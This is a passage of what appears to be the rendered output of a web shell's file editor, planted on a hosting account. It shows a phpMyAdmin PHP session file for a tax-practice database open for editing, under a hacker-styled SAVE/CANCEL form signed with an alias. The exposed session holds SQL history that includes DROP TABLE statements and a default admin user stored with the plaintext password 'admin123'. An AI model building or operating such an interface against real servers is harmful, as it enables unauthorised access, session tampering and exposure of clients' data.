script;&quot;;}i:10;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:11;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:12;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:13;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:14;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:15;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:33:&quot;-- End of database update script;&quot;;}i:16;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:218:&quot;-- Database update script for issue fix
-- Adds tax_year_id column to clients table to resolve unknown column errors during payment status update.

ALTER TABLE clients
    ADD COLUMN IF NOT EXISTS tax_year_id INT NULL;&quot;;}i:17;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:18;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:19;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:20;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:21;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:22;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:23;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:38:&quot;DROP TABLE IF EXISTS archived_targets;&quot;;}i:24;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:207:&quot;-- Insert a default admin user (plain text password for demonstration)
INSERT INTO `users` (`id`, `name`, `email`, `password`, `role`) VALUES
  (1, &#039;Administrator&#039;, &#039;admin@example.com&#039;, &#039;admin123&#039;, &#039;admin&#039;);&quot;;}}__upload_status|a:1:{s:7:&quot;handler&quot;;s:47:&quot;PhpMyAdmin\Plugins\Import\Upload\UploadNoplugin&quot;;}Import_message|a:2:{s:7:&quot;message&quot;;s:1502:&quot;&lt;div class=&quot;alert alert-danger&quot; role=&quot;alert&quot;&gt;&lt;h1&gt;Error&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;SQL query:&lt;/strong&gt;  &lt;a href=&quot;#&quot; class=&quot;copyQueryBtn&quot; data-text=&quot;--
-- Database: `qbfdcvcb_securetax_db`
--

-- --------------------------------------------------------

--
-- Table structure for table `archived_targets`
--

CREATE TABLE `archived_targets` (
  `id` int(11) NOT NULL,
  `employee_id` int(11) NOT NULL,
  `client_id` int(11) NOT NULL,
  `invoice_id` int(11) NOT NULL,
  `tax_year_id` int(11) NOT NULL,
  `achieved_at` datetime DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;&quot;&gt;Copy&lt;/a&gt;
    &lt;/p&gt;
&lt;p&gt;
&lt;code class=&quot;sql&quot; dir=&quot;ltr&quot;&gt;&lt;pre&gt;
--
-- Database: `qbfdcvcb_securetax_db`
--

-- --------------------------------------------------------

--
-- Table structure for table `archived_targets`
--

CREATE TABLE `archived_targets` (
  `id` int(11) NOT NULL,
  `employee_id` int(11) NOT NULL,
  `client_id` int(11) NOT NULL,
  `invoice_id` int(11) NOT NULL,
  `tax_year_id` int(11) NOT NULL,
  `achieved_at` datetime DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
&lt;/pre&gt;&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
    &lt;strong&gt;MySQL said: &lt;/strong&gt;&lt;a href=&quot;./url.php?url=https%3A%2F%2Fdev.mysql.com%2Fdoc%2Frefman%2F8.0%2Fen%2Fserver-error-reference.html&quot; target=&quot;mysql_doc&quot;&gt;&lt;img src=&quot;themes/dot.gif&quot; title=&quot;Documentation&quot; alt=&quot;Documentation&quot; class=&quot;icon ic_b_help&quot;&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;code&gt;#1050 - Table &amp;#039;archived_targets&amp;#039; already exists&lt;/code&gt;&lt;br&gt;&lt;/div&gt;&quot;;s:11:&quot;go_back_url&quot;;s:77:&quot;index.php?route=/database/import&amp;db=qbfdcvcb_securetax_db&amp;amp;no_history=true&quot;;}is_multi_query|b:1;errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_4ffe4edd21e34fb8b7de873575f21834'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>